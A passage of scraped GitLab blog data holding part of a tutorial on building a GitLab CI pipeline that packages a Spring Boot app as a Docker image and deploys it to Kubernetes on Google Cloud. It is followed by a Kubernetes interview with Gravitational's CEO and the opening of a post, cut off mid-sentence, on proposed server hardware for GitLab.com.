--all\ngit commit -m \"Creates actuator-example application\"\ngit push origin master\n```\n\n## Creating a continuous delivery pipeline with GitLab CI\n\nWhile our code is now safe on GitLab, we still need to automate its integration and deployment. We need to verify each commit with an automated build and set of tests in order to discover issues as early as possible and, if the build is successful, deploy to a target environment. A few years ago, our only option was to install, configure and maintain a CI Server like [Jenkins](https://jenkins.io/) and possibly automate our deployment with a set of bash scripts. While the number of options has grown significantly, whether hosted or on the cloud, we still need to find a way to integrate our source control system with the CI Server of our choice.\n\nNot anymore though! GitLab has [fully integrated CI and CD Pipelines](/topics/ci-cd/) in its offering, allowing us to [build, test and deploy](/topics/version-control/what-is-gitlab-flow/) our code with ease.\n\nFor the purpose of this tutorial we will deploy to the [Google Cloud Container Engine](https://cloud.google.com/container-engine/) which is a cluster management and orchestration system built on the open source [Kubernetes](http://kubernetes.io/). Kubernetes is supported by all main cloud providers and can be [easily installed on any Linux server](http://kubernetes.io/docs/getting-started-guides/kubeadm/) in minutes. That said, we will be able to re-use this configuration virtually on any environment running Kubernetes.\n\nBefore we can proceed to the creation of the pipeline, we need to add a couple of files to our repository to package our application as a Docker container and to describe the target deployment in Kubernetes terms.\n\n### Packaging a Spring Boot application as a Docker container\n\nLet's start by creating the `Dockerfile` in the root directory of our project.\n\n```shell\nFROM openjdk:8u111-jdk-alpine\nVOLUME /tmp\nADD /target/actuator-sample-0.0.1-SNAPSHOT.jar app.jar\nENTRYPOINT [\"java\",\"-Djava.security.egd=file:/dev/./urandom\",\"-jar\",\"/app.jar\"]\n```\n\nThe `FROM` keyword defines the base Docker image of our container. We chose [OpenJDK](http://openjdk.java.net/) installed on [Alpine Linux](https://alpinelinux.org/) which is a lightweight Linux distribution. The `VOLUME` instruction creates a mount point with the specified name and marks it as holding externally mounted volumes from the native host or other containers. `ADD` copies the executable JAR generated during the build to the container root directory. Finally `ENTRYPOINT` defines the command to execute when the container is started. Since Spring Boot produces an executable JAR with embedded Tomcat, the command to execute is simply `java -jar app.jar`. The additional flag `java.security.edg=file:/dev/./urandom` is used to speed up the application start-up and avoid possible freezes. By default, Java uses `/dev/random` to seed its `SecureRandom` class which is known to block if its entropy pool is empty.\n\nTime to commit.\n\n```shell\ngit add Dockerfile\ngit commit -m \"Adds Dockerfile\"\ngit push origin master\n```\n\n### Define the Kubernetes deployment\n\nLet's create a file named `deployment.yml` in the root directory of our project.\n\n```yml\napiVersion: extensions/v1beta1\nkind: Deployment\nmetadata:\n  name: actuator-sample\nspec:\n  replicas: 2\n  template:\n    metadata:\n      labels:\n        app: actuator-sample\n    spec:\n      containers:\n      - name: actuator-sample\n        image: registry.gitlab.com/marcolenzo/actuator-sample\n        imagePullPolicy: Always\n        ports:\n        - containerPort: 8080\n      imagePullSecrets:\n        - name: registry.gitlab.com\n```\n\nThis is the definition of a Kubernetes [`Deployment`](http://kubernetes.io/docs/user-guide/deployments/) named `actuator-sample`. The `replicas` element defines the target number of [`Pods`](http://kubernetes.io/docs/user-guide/pods/). Kubernetes performs automated binpacking and self-healing of the system to comply with the deployment specifications while achieving optimal utilization of compute resources. A Pod can be composed of multiple containers. In this scenario, we only include the `actuator-sample` image stored on our private [GitLab Container Registry](/blog/gitlab-container-registry/). For this reason, we need to set an entry under the `imagePullSecrets` which is used to authenticate to the GitLab Container Registry.\n\nFor a detailed explanation of Kubernetes resources and concepts refer to the [official documentation](http://kubernetes.io/).\n{: .alert .alert-info}\n\nTime to commit again and we are ready to define our GitLab CI pipeline.\n\n```shell\ngit add deployment.yml\ngit commit -m \"Adds Kubernetes Deployment definition\"\ngit push origin master\n```\n\n### Creating the GitLab CI pipeline\n\nIn order to make use of [GitLab CI](/solutions/continuous-integration/) we need to add the [`.gitlab-ci.yml`](https://docs.gitlab.com/ee/ci/yaml/) configuration file to the root directory of our repository. This file is used by [GitLab Runners](https://docs.gitlab.com/ee/ci/runners/) to manage our project's builds and deployments. Therein we can define an unlimited number of [Jobs](https://docs.gitlab.com/ee/ci/jobs/) and their role in the whole build lifecycle.\n\n```yml\nimage: docker:latest\nservices:\n  - docker:dind\n\nvariables:\n  DOCKER_DRIVER: overlay\n  SPRING_PROFILES_ACTIVE: gitlab-ci\n\nstages:\n  - build\n  - package\n  - deploy\n\nmaven-build:\n  image: maven:3-jdk-8\n  stage: build\n  script: \"mvn package -B\"\n  artifacts:\n    paths:\n      - target/*.jar\n\ndocker-build:\n  stage: package\n  script:\n  - docker build -t registry.gitlab.com/marcolenzo/actuator-sample .\n  - docker login -u gitlab-ci-token -p $CI_BUILD_TOKEN registry.gitlab.com\n  - docker push registry.gitlab.com/marcolenzo/actuator-sample\n\nk8s-deploy:\n  image: google/cloud-sdk\n  stage: deploy\n  script:\n  - echo \"$GOOGLE_KEY\" > key.json\n  - gcloud auth activate-service-account --key-file key.json\n  - gcloud config set compute/zone europe-west1-c\n  - gcloud config set project actuator-sample\n  - gcloud config set container/use_client_certificate True\n  - gcloud container clusters get-credentials actuator-sample\n  - kubectl delete secret registry.gitlab.com\n  - kubectl create secret docker-registry registry.gitlab.com --docker-server=https://registry.gitlab.com --docker-username=marcolenzo --docker-password=$REGISTRY_PASSWD --docker-email=lenzo.marco@gmail.com\n  - kubectl apply -f deployment.yml\n```\n\nLet's break the file in pieces to understand what is going on.\n\n#### Image and Services\n\n```yml\nimage: docker:latest\nservices:\n  - docker:dind\n```\n\nThe [GitLab Runner](https://docs.gitlab.com/ee/ci/runners/) can [use Docker images](https://docs.gitlab.com/ee/ci/docker/using_docker_images.html) to support our pipelines. The [`image` element](https://docs.gitlab.com/ee/ci/yaml/#image) defines the name of the Docker image we want to use. Valid images are those hosted in the local Docker Engine or on [Docker Hub](https://hub.docker.com/). The `services` element defines additional Docker images which are linked to the main container. In our case the main container is a plain Docker image while the linked container is enabled for running Docker in Docker.\n\n#### Variables\n\n```yml\nvariables:\n  DOCKER_DRIVER: overlay\n  SPRING_PROFILES_ACTIVE: gitlab-ci\n```\n\nThis is the definition of [`variables`](https://docs.gitlab.com/ee/ci/yaml/#variables) to be set on our build environment. The `DOCKER_DRIVER` signals the Docker Engine which storage driver to use. We use `overlay` for [performance reasons](https://docs.gitlab.com/ee/ci/docker/using_docker_build.html#using-the-overlayfs-driver). The `SPRING_PROFILES_ACTIVE` is very useful when dealing with Spring Boot applications. It activates [Spring Profiles](http://docs.spring.io/autorepo/docs/spring-boot/current/reference/html/boot-features-profiles.html), which provide a way to segregate parts of our application configuration and make it available only in certain environments. For instance, we can define different database URIs per environment, e.g. `localhost` when running on the developer machine and `mongo` when running within GitLab CI.\n\n#### Stages\n\n```yml\nstages:\n  - build\n  - package\n  - deploy\n```\n\nThe [`stages` element](https://docs.gitlab.com/ee/ci/yaml/#stages) defines the lifecycle of our build. We associate each [job](https://docs.gitlab.com/ee/ci/jobs/) with one stage. All jobs within a stage are run in parallel and stages are triggered sequentially in the order we define them, i.e. the next stage is initiated only when the previous one is complete.\n\n#### The `maven-build` job\n\n```yml\nmaven-build:\n  image: maven:3-jdk-8\n  stage: build\n  script: \"mvn package -B\"\n  artifacts:\n    paths:\n      - target/*.jar\n```\n\nThis is a job definition. Jobs can have any name except keywords. Have a look at the `.gitlab-ci.yml` [documentation](https://docs.gitlab.com/ee/ci/yaml/) for the complete list of keywords.\n\nThe scope of this job is to perform a [Maven](https://maven.apache.org/index.html) build. For this reason, we define the `maven:3-jdk-8` as the Docker image on which this job should execute. This image comes with Maven 3 and the Java JDK 8 pre-installed for us.\n\nWe then specify `build` as the `stage` of this job. Jobs associated with the same stage run concurrently. This is extremely useful if you need to cross-compile your application. For instance, if we wanted to compile and test our application also on Java JDK 7, we could simply create another job with a different name and use the image `maven:3-jdk-7`.\n\n```yml\nmaven-test-jdk-7:\n  image: maven:3-jdk-7\n  stage: build\n  script: \"mvn package -B\"\n  artifacts:\n    paths:\n      - target/*.jar\n```\n\nAs previously said, the `maven-test-jdk-7` job runs in parallel with the `maven-build`. Hence, it does not have an impact on the pipeline execution time.\n\nThe [`script`](https://docs.gitlab.com/ee/ci/yaml/#script) is a shell command to be executed by the GitLab Runner. The `mvn package -B` triggers a non-interactive Maven build up to the `package` phase. This phase is specific to the [Maven build lifecycle](https://maven.apache.org/guides/introduction/introduction-to-the-lifecycle.html) and it includes also the `validate`, `compile` and `test` phases. That means that our Maven project will be validated, compiled and (unit) tested as well. Tests are to be included in the `src/test/java` folder. In our specific case, Spring Initializr has already created a unit test which verifies that the application context loads without errors. We are free to add as many unit tests as we like. Finally, the `package` phase creates the executable JAR.\n\nTo persist the executable JAR and share it across jobs, we specify job [`artifacts`](https://docs.gitlab.com/ee/ci/yaml/#artifacts). These are files or directories that are attached to the build after success and made downloadable from the UI in the Pipelines screen.\n\n![Downloading artifacts from pipelines](https://about.gitlab.com/images/blogimages/continuous-delivery-of-a-spring-boot-application-with-gitlab-ci-and-kubernetes/artifacts.png){: .shadow}\n\n\n#### The `docker-build` job\n\n```yml\ndocker-build:\n  stage: package\n  script:\n  - docker build -t registry.gitlab.com/marcolenzo/actuator-sample .\n  - docker login -u gitlab-ci-token -p $CI_BUILD_TOKEN registry.gitlab.com\n  - docker push registry.gitlab.com/marcolenzo/actuator-sample\n```\n\nThe `docker-build` job packages the application into a Docker container. We define `package` as the build `stage` since we need the `maven-build` job to produce the executable JAR beforehand.\n\nThe scripts are a typical sequence of `docker` commands used to build an image, log in to a private registry and push the image to it. We will be pushing images to the [GitLab Container Registry](/blog/gitlab-container-registry/).\n\nThe [`$CI_BUILD_TOKEN`](https://docs.gitlab.com/ee/user/project/new_ci_build_permissions_model.html#container-registry) is a pre-defined variable which is injected by GitLab CI into our build environment automatically. It is used to log in to the GitLab Container Registry.\n\nFor a complete list of pre-defined variables, have a look at the [variables documentation](https://docs.gitlab.com/ee/ci/variables/).\n{: .alert .alert-info}\n\n#### The `k8s-deploy` job\n\nThis job is responsible for deploying our application to the [Google Kubernetes Engine](https://cloud.google.com/container-engine/). I purposely decided to make use of the [Google Cloud SDK](https://cloud.google.com/sdk/gcloud/) (`gcloud`) because it gives us the possibility to programmatically create and manage Google Container Engine clusters and other products of the Google Cloud ecosystem. In this tutorial, we will simplify things a bit by creating the Google Container Engine cluster beforehand through the GUI.\n\nFirst, we create a Google Cloud Project named `actuator-sample`. Take note of the `Project ID` since it sometimes differs from the project name we specify. Then we create a Google Kubernetes Engine cluster named `actuator-sample` as well. We can choose any machine type and any number of nodes. For the purpose of this tutorial one node and a small machine are sufficient. Let's take note of the `zone`.\n\n![Create a container cluster](https://about.gitlab.com/images/blogimages/continuous-delivery-of-a-spring-boot-application-with-gitlab-ci-and-kubernetes/create-gce-cluster.png){: .shadow}\n\nFinally we need to create a service account which is necessary to perform a non-interactive login with `gcloud`. Navigate to Google Cloud **API Manager** > **Credentials** > **Create Credentials** and create a JSON key for the `Compute Engine default service account`.\n\nWe can now analyze the configuration.\n\n```yml\nk8s-deploy:\n  image: google/cloud-sdk\n  stage: deploy\n  script:\n  - echo \"$GOOGLE_KEY\" > key.json # Google Cloud service account key\n  - gcloud auth activate-service-account --key-file key.json\n  - gcloud config set compute/zone europe-west1-c\n  - gcloud config set project actuator-sample\n  - gcloud config set container/use_client_certificate True\n  - gcloud container clusters get-credentials actuator-example\n  - kubectl delete secret registry.gitlab.com\n  - kubectl create secret docker-registry registry.gitlab.com --docker-server=https://registry.gitlab.com --docker-username=marcolenzo --docker-password=$REGISTRY_PASSWD --docker-email=lenzo.marco@gmail.com\n  - kubectl apply -f deployment.yml\n```\n\nWe use the `google/cloud-sdk` image for this process since it comes preloaded with `gcloud` and all components and dependencies of the Google Cloud SDK including alpha and beta components. We obviously chose `deploy` as the `stage` since we want our application to be packaged beforehand and its container pushed to the GitLab Container Registry. Then we execute a set of scripts.\n\nThe `echo \"$GOOGLE_KEY\" > key.json` script injects the Google Cloud service account key in the container. `$GOOGLE_KEY` is a Secure Variable having the content of the Google Cloud service account key as its value. [Secure Variables](https://docs.gitlab.com/ee/ci/variables/#user-defined-variables-secure-variables) are user-defined variables that should not be shown in the `.gitlab-ci.yml` file. They are set per project by navigating to **Project** > **Variables** > **Add Variable** in GitLab.\n\n![Secure Variables](https://about.gitlab.com/images/blogimages/continuous-delivery-of-a-spring-boot-application-with-gitlab-ci-and-kubernetes/secure-variables.png){: .shadow}\n\nThe `gcloud auth activate-service-account --key-file key.json` script performs the non-interactive authentication process. The `gcloud config set ...` scripts are selecting the target project, zone and cluster. Make sure these values correspond to those you jotted down before. The `gcloud container clusters get-credentials actuator-example` script downloads the `kubectl` configuration file. If we wanted to use Kubernetes on another cloud provider or custom installation, we would source the `kubectl` configuration `~/.kube/config` without the need to interact with `gcloud`.\n\nThe `kubectl create secret docker-registry ...` script creates the `imagePullSecret` we had defined in the `deployment.yml`. This is used by Kubernetes to authenticate with our private GitLab Container Registry and download the container images. The `kubectl delete secret` is necessary because the Kubernetes API is lacking the `replace` operation for `docker-registry` secrets. In a real-world scenario, I would suggest handling [Kubernetes secrets](http://kubernetes.io/docs/user-guide/secrets/) that can affect multiple pipelines (such as a password for a private Docker registry) in a separate pipeline or through configuration management tools like [Ansible](https://www.ansible.com/), [Salt](https://saltstack.com/), [Puppet](https://puppet.com/) or [Chef](https://www.chef.io/). The reason is that such secrets should be rotated periodically for security reasons and updated in each GitLab project using them. There is also the risk of interference between pipelines because of the `kubectl delete` command. Note that `$REGISTRY_PASSWD` is another Secure Variable.\n\nTime to check if everything is in order on our cluster.\n\n```shell\n$ kubectl get deployments\nNAME              DESIRED   CURRENT   UP-TO-DATE   AVAILABLE   AGE\nactuator-sample   2         2         2            2           2m\n$ kubectl get pods\nNAME                               READY     STATUS    RESTARTS   AGE\nactuator-sample-3641958612-3e5xy   1/1       Running   0          2m\nactuator-sample-5542343546-fr4gh   1/1       Running   0          2m\n```\n\n![Kubernetes](https://about.gitlab.com/images/blogimages/continuous-delivery-of-a-spring-boot-application-with-gitlab-ci-and-kubernetes/kubernetes.png){: .shadow}\n\nDeployed!\n\n#### GitLab Environments\n\nBefore concluding the tutorial, we will learn about [GitLab Environments](https://docs.gitlab.com/ee/ci/environments/index.html) which enable us to track environments and deployments.\n\nLet's refactor the `k8s-deploy` job and split it in two. One job will target the staging environment and the other the production environment.\n\n```yml\nk8s-deploy-staging:\n  image: google/cloud-sdk\n  stage: deploy\n  script:\n  - echo \"$GOOGLE_KEY\" > key.json\n  - gcloud auth activate-service-account --key-file key.json\n  - gcloud config set compute/zone europe-west1-c\n  - gcloud config set project actuator-sample\n  - gcloud config set container/use_client_certificate True\n  - gcloud container clusters get-credentials actuator-example\n  - kubectl delete secret registry.gitlab.com\n  - kubectl create secret docker-registry registry.gitlab.com --docker-server=https://registry.gitlab.com --docker-username=marcolenzo --docker-password=$REGISTRY_PASSWD --docker-email=lenzo.marco@gmail.com\n  - kubectl apply -f deployment.yml --namespace=staging\n  environment:\n    name: staging\n    url: https://example.staging.com\n  only:\n  - master\n\nk8s-deploy-production:\n  image: google/cloud-sdk\n  stage: deploy\n  script:\n  - echo \"$GOOGLE_KEY\" > key.json\n  - gcloud auth activate-service-account --key-file key.json\n  - gcloud config set compute/zone europe-west1-c\n  - gcloud config set project actuator-sample\n  - gcloud config set container/use_client_certificate True\n  - gcloud container clusters get-credentials actuator-example\n  - kubectl delete secret registry.gitlab.com\n  - kubectl create secret docker-registry registry.gitlab.com --docker-server=https://registry.gitlab.com --docker-username=marcolenzo --docker-password=$REGISTRY_PASSWD --docker-email=lenzo.marco@gmail.com\n  - kubectl apply -f deployment.yml --namespace=production\n  environment:\n    name: production\n    url: https://example.production.com\n  when: manual\n  only:\n  - production\n```\n\nThe `environment` keyword associates the job with a specific environment while the `url` element is used to generate a handy hyperlink to our application on the GitLab Environments page (found under your project's `Pipelines > Environments`). The `only` keyword signals to GitLab CI that the job should be executed only when the pipeline is building the listed branches. Finally, `when: manual` is used to turn the job execution from automatic to manual. Turning the execution of this job to `automatic` would project us in the world of [Continuous Deployment](/blog/continuous-integration-delivery-and-deployment-with-gitlab/#continuous-deployment) rather than [Continuous Delivery](/blog/continuous-integration-delivery-and-deployment-with-gitlab/#continuous-delivery). From a Kubernetes perspective, we are making use of `namespaces` to segregate the different environments.\n\nBy committing on `master` and `production` we [trigger a pipeline per environment](/blog/ci-deployment-and-environments/). As mentioned before, we are not making use of any collaboration tool because it is out of the scope of this tutorial. In real-world scenarios, we would use [merge requests](/topics/version-control/what-is-gitlab-flow/#merge-request) with [Review Apps](https://docs.gitlab.com/ee/ci/review_apps/) to move code across branches. Merge requests allow the team to review and discuss the changes before they get merged into the target branch. [Review Apps](https://docs.gitlab.com/ee/ci/review_apps/) take that one step further by spinning up dynamic environments for our merge requests, offering the team access to a deployed instance of our application without the need of checking out the branch. This is extremely useful not only for non-technical members of the team, but also to collaborators and project managers to preview the changes without having to clone and install the app and its dependencies when evaluating a proposal.\n\n```shell\ngit commit -am \"Showcasing Pipelines\"\ngit push origin master\ngit checkout -b production\ngit push origin production\n```\n![Pipelines](https://about.gitlab.com/images/blogimages/continuous-delivery-of-a-spring-boot-application-with-gitlab-ci-and-kubernetes/pipelines.png){: .shadow}\n\nThe Pipelines screen details all pipeline executions. We can gather information about the branch and the individual result of each stage. In the case of the `production` pipeline the `k8s-deploy-production` is not executed automatically as expected but can be triggered from the GUI from where we can also download the build artifacts.\n\n![Environments](https://about.gitlab.com/images/blogimages/continuous-delivery-of-a-spring-boot-application-with-gitlab-ci-and-kubernetes/environments.png){: .shadow}\n\nEnvironments are listed on a separate page, from which it is possible to redeploy the latest version of an environment or to roll back to a particular version of the environment by accessing the relative details page.\n\n![Rollbacks](https://about.gitlab.com/images/blogimages/continuous-delivery-of-a-spring-boot-application-with-gitlab-ci-and-kubernetes/rollbacks.png){: .shadow}\n\n\n## Conclusion\n\nIn this tutorial, we were able to create a [Continuous Delivery](https://en.wikipedia.org/wiki/Continuous_delivery) pipeline with ease thanks to the suite of [GitLab](/) products that supported us at every stage. [Spring Boot](https://projects.spring.io/spring-boot/) gave us agility by auto-configuring the application context and offering production-grade services out of the box. [Kubernetes](http://kubernetes.io/) abstracted us from the compute resources and orchestration duties allowing us to define only the desired deployment state. [GitLab CI](/solutions/continuous-integration/) was the core engine of our pipeline. Its declarative [`.gitlab-ci.yml`](https://docs.gitlab.com/ee/ci/yaml/) file allowed us to define, version and manage our pipelines while the GUI gave us full visibility and control.\n\nWhile this is a basic example, it clearly shows the immense benefits any team or company can gain by using the unified GUI of GitLab for issues, code review, CI and CD.\n\n## About Guest Author\n\n[Marco Lenzo](https://twitter.com/marco_lenzo) is a Software Architect always up for a challenge. He has expertise in transaction processing and platform as a service (PaaS). Java, Spring, Go and Kubernetes are currently his bread and butter.\n\n\u003C!-- closes https://gitlab.com/gitlab-com/blog-posts/issues/309 -->\n\u003C!-- cover image: https://unsplash.com/photos/G86MS2ZsiJA -->\n\n\u003Cstyle>\n  .h4 {\n    font-weight: bold;\n  }\n\u003C/style>\n",{"slug":36717,"featured":6,"template":678},"continuous-delivery-of-a-spring-boot-application-with-gitlab-ci-and-kubernetes","content:en-us:blog:continuous-delivery-of-a-spring-boot-application-with-gitlab-ci-and-kubernetes.yml","Continuous Delivery Of A Spring Boot Application With Gitlab Ci And Kubernetes","en-us/blog/continuous-delivery-of-a-spring-boot-application-with-gitlab-ci-and-kubernetes.yml","en-us/blog/continuous-delivery-of-a-spring-boot-application-with-gitlab-ci-and-kubernetes",{"_path":36723,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36724,"content":36730,"config":36734,"_id":36736,"_type":16,"title":36737,"_source":17,"_file":36738,"_stem":36739,"_extension":20},"/en-us/blog/gitlab-joins-forces-with-gravitational",{"title":36725,"description":36726,"ogTitle":36725,"ogDescription":36726,"noIndex":6,"ogImage":36727,"ogUrl":36728,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36728,"schema":36729},"GitLab and Gravitational discuss Kubernetes","Is Kubernetes the way forward? We chatted to Ev Kontsevoy, CEO of Gravitational and unofficial Kubernetes cheerleader, to get the lowdown","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683941/Blog/Hero%20Images/ship-steering-wheel-kubernetes.jpg","https://about.gitlab.com/blog/gitlab-joins-forces-with-gravitational","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab and Gravitational discuss Kubernetes\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rebecca Dodd\"}],\n        \"datePublished\": \"2016-12-12\",\n      }",{"title":36725,"description":36726,"authors":36731,"heroImage":36727,"date":36732,"body":36733,"category":8943},[19026],"2016-12-12","\nYou never know where a conversation on Hacker News might take you. That's what Ev Kontsevoy learned when he left a comment on a post, sparking a conversation with another reader who turned out to be GitLab CEO, Sid Sijbrandij. Later that day, at a party in San Francisco, Ev spotted another party guest wearing a GitLab T-shirt and approached him to chat. \"Turns out it was Sid, again!\" Ev says, laughing. \"It's like he's everywhere.\"\n\n\u003C!-- more -->\n\n\"So we bumped into each other twice in the same day and when we started chatting. Sid mentioned that right now GitLab is trying to figure out the Kubernetes story: how to work with companies that rely heavily on Kubernetes, and frankly also how to use it internally.\" [Gravitational](https://gravitational.com/) is a Kubernetes company, so Ev was quick to offer their services, which is how GitLab ended up collaborating with Gravitational.\n\n## What did we work on together?\n\n\"One area that we were looking at together is how to run PostgreSQL on Kubernetes really well. It’s definitely a problem that most users will be trying to solve and it’s just one of the things that Gravitational is good at: we help our companies migrate their existing applications to Kubernetes, including databases. We've also been working on a GitLab path towards adopting Kubernetes for SaaS internally, after I bumped into some of your team members at a Kubernetes conference in Seattle.\"\n\n## Why Kubernetes?\n\nJacob Vosmaer, GitLab Senior Developer, had some questions for Ev about the partnership: \"What does a tool like Kubernetes make easier for an application like GitLab?\"\n\nEv: \"You mean, 'Why even bother with Kubernetes at all?'\"\n\nJacob: \"I was being polite!\"\n\nEv: \"Server costs are a major line item on every company’s budget. When you are a certain size it can actually become more expensive than your engineering salaries. Developing software that utilizes servers effectively is difficult. This is where Kubernetes comes in. Unlike the old technology like virtualisation, which would statically partition your servers into smaller VMs, Kubernetes allows you to do this partitioning on the fly, which means that if your application needs more or less of particular resources as it runs, Kubernetes will be dynamically growing and shrinking different components of your application across the infrastructure that’s available to you. So that's really the benefit of Kubernetes, you save a lot of money on hosting if you utilize it.\"\n\n## Will Kubernetes become the industry standard?\n\nEv: \"We're probably going to witness something similar to Windows vs Linux, where there will probably be No. 1 and No. 2, and perhaps a very small No. 3. It feels to me that No. 1 and 2 are going to be Kubernetes and DC/OS from Mesosphere, for two reasons: DC/OS is an older product, it’s fairly mature, there are now Fortune 500 companies publicly using it. This kind of success doesn’t appear overnight. Even though technically Mesosphere technology is competing with Kubernetes and with what we do, I wish them the best and I do believe they are going to be noticeable.\"\n\n>\"Kubernetes is an unstoppable force right now\"\n\n\"In my line, Kubernetes is an unstoppable force right now, simply because there are so many companies with a proven track record of popularizing open source who are behind it. Companies like IBM, Red Hat, Google themselves – with so many backers pushing Kubernetes forward, it’s hard for me to imagine it not leading the platform. Look at what happened with Linux: it’s the exact same companies who keep pushing Linux Kernel forward. They're now joining forces again to promote Kubernetes and to evolve and invest money into it.\"\n\n\"Finally, there's container pioneering company Docker, with their own technology called Docker Swarm, so Docker has enormous mind share with developers. Docker Swarm itself is kind of late out of the gate compared to Kubernetes and DC/OS, and I’m very curious to see what’s going to happen. But those are the three players that I think will be carving out this pie, I don’t really see anyone else challenging that.\"\n\nIn addition to their work with GitLab on Kubernetes, Gravitational also helped us [build a Terminal into GitLab](https://gitlab.com/gitlab-org/gitlab-ce/issues/22864), Ev explains, \"to allow developers or any GitLab users to easily jump inside the containers that are running on Kubernetes without leaving the GitLab environment\". Good news for open source! Thanks for working with us, Gravitational.\n\n\nImage: \"[Take the wheel and drive](https://www.flickr.com/photos/rachaelvoorhees/828353700/)\" by [rachaelvoorhees](https://www.flickr.com/photos/rachaelvoorhees/) is licensed under [CC BY 2.0](https://creativecommons.org/licenses/by/2.0/)\n",{"slug":36735,"featured":6,"template":678},"gitlab-joins-forces-with-gravitational","content:en-us:blog:gitlab-joins-forces-with-gravitational.yml","Gitlab Joins Forces With Gravitational","en-us/blog/gitlab-joins-forces-with-gravitational.yml","en-us/blog/gitlab-joins-forces-with-gravitational",{"_path":36741,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36742,"content":36747,"config":36751,"_id":36753,"_type":16,"title":36754,"_source":17,"_file":36755,"_stem":36756,"_extension":20},"/en-us/blog/proposed-server-purchase-for-gitlab-com",{"title":36743,"description":36744,"ogTitle":36743,"ogDescription":36744,"noIndex":6,"ogImage":17364,"ogUrl":36745,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36745,"schema":36746},"Proposed server purchase for GitLab.com","What hardware we're considering purchasing now that we have to move GitLab.com to metal.","https://about.gitlab.com/blog/proposed-server-purchase-for-gitlab-com","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Proposed server purchase for GitLab.com\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2016-12-11\",\n      }",{"title":36743,"description":36744,"authors":36748,"heroImage":17364,"date":36749,"body":36750,"category":734},[3532],"2016-12-11","\n\nWe want to make GitLab.com fast and we [knew it was time to leave the cloud](/blog/why-choose-bare-metal/) and purchase our own servers.\nIn this post is our thinking about what chassis, rack, memory, CPU, network, power, and hosting to buy.\nWe wanted to share what we learned and get your feedback on our proposal and questions.\nWhen you reply to a question in the comments on our blog or Hacker News please reference it with the letter and number: 'Regarding R1'.\nWe'll try to update the questions with preliminary answers as we learn more.\n\n\u003C!-- more -->\n\n## Overview\n\nToday, GitLab.com hosts 96TB of data, and that number is growing rapidly. We\nare attempting to build a fault-tolerant and performant CephFS cluster. We are\nalso attempting to move GitLab application servers and supporting services\n(e.g. PostgreSQL) to bare metal.\n\nNote that for now our CI Runners will stay in the cloud. Not only are they are\nmuch less sensitive to latency, but autoscaling is easier with a cloud service.\n\n### Chassis\n\nOne of the team members that will join GitLab in 2017 recommended using a [6028TP-HTTR SuperMicro 2U Twin2 server](https://www.supermicro.nl/products/system/2U/6028/SYS-6028TP-HTTR.cfm) chassis that has 4 dual processor nodes and is 2 [rack units](https://en.wikipedia.org/wiki/Rack_unit) (U) high. The advantages are:\n\n1. Great density, 0.5U per dual processor server\n1. You have one common form factor\n1. Power supplies are shared for great efficiency similar to [blade servers](https://en.wikipedia.org/wiki/Blade_server)\n1. The network is per node for more bandwidth and reliability (like individual server)\n\nWe use the [2U Twin2](https://www.supermicro.com/products/nfo/2UTwin2.cfm) instead of the [1U Twin](https://www.supermicro.com/products/nfo/1UTwin.cfm) because it fits one more 3.5\" hard drive (3 per node instead of 2).\n\nThis server is on the list of global SKU's for SuperMicro.\nWe'll also ask for quotes from other vendors to see if they have a competitive alternative.\nFor example HPE has the [Apollo 2000 series](https://www.hpe.com/h20195/v2/getpdf.aspx/c04542552.pdf?ver=7).\n\nC1 Should we use another version of the chassis than HTTR?\n\nC2 What is the best Dell equivalent? => [C6320](http://www.dell.com/us/business/p/poweredge-c6320/pd)\n\n### Servers\n\nWe need the following servers:\n\n1. 32x File storage (CephFS OSD)\n1. 3x File Monitoring (CephFS MON)\n1. 8x Application server ([Unicorn](https://bogomips.org/unicorn/))\n1. 7x Background jobs ([Sidekiq](http://sidekiq.org/))\n1. 5x Key value store ([Redis Sentinel](https://redis.io/topics/sentinel))\n1. 4x Database (PostgreSQL)\n1. 3x Load balancers (HAproxy)\n1. 1x Staging\n1. 1x Spare\n\nFor a total of 64 nodes.\n\nWe would like to have one common node so that they are interchangeable.\nThis would mean installing only a few disks per node instead of having large fileservers.\nThis would distribute failures and IO.\n\n![IOPS on GitLab.com](https://about.gitlab.com/images/blogimages/write_iops.png)\n\nThe above picture shows the currently number of Input/output Operations Per\nSecond (IOPS) on GitLab.com. On our current NFS servers, our peak write IOPS\noften hit close to 500K, and our peak read IOPS reach 200K. These numbers\nsuggest that using spinning disks alone may not be enough; we need to use\nhigh-performance SSDs judiciously.\n\nOne task that we could not fit on the common nodes was PostgreSQL.\nOur current plan is to make PostgreSQL distributed in 2017 with the help of [Citus](https://www.citusdata.com/).\nBut for now, we need to scale vertically so we need a lot of memory and CPU.\nWe need at least a primary and secondary database.\nWe wanted to add a second pair for testing and to ensure spares in case of failure.\nDetails about this are in the following sections.\n\nChoosing a common node will mean that file storage servers will have too much CPU and that application servers will have too much disk space.\nWe plan to remedy that by running everything on Kubernetes.\nThis allows us to have a blended workload using all CPU and disk.\nFor example we can combine file storage and background jobs on the same server since one is disk heavy and one is CPU heavy.\nWe will start by having one workload per server to reduce complexity.\nThis means that when we need to grow we can still unlock almost twice as much disk space and CPU by blending the workloads.\nPlease note that this will be container based, to get maximum IO performance we won't virtualize our workload.\n\nS1 Shall we spread the database servers among different chassis to make sure they don't all fail when one chassis fails?\n\nS2 Does Ceph handle running 60 OSD nodes well or can this cause problems?\n\n### CPU\n\nThe [SuperServer 6028TP-HTTR](https://www.supermicro.nl/products/system/2U/6028/SYS-6028TP-HTTR.cfm) supports dual E5-2600v4 processors per node.\nWe think the [E5-2630v4](http://ark.intel.com/products/92981/Intel-Xeon-Processor-E5-2630-v4-25M-Cache-2_20-GHz) is a good blend of power and cost.\nIt has 20 virtual cores at 2.20Ghz, 25MB cache, and costs about $669 per processor.\nEvery physical core is two virtual cores due to [hyperthreading](https://en.wikipedia.org/wiki/Hyper-threading).\nA slightly more powerful processor is the [E5-2640v4](https://ark.intel.com/products/92984/Intel-Xeon-Processor-E5-2640-v4-25M-Cache-2_40-GHz) but while the [SPECint 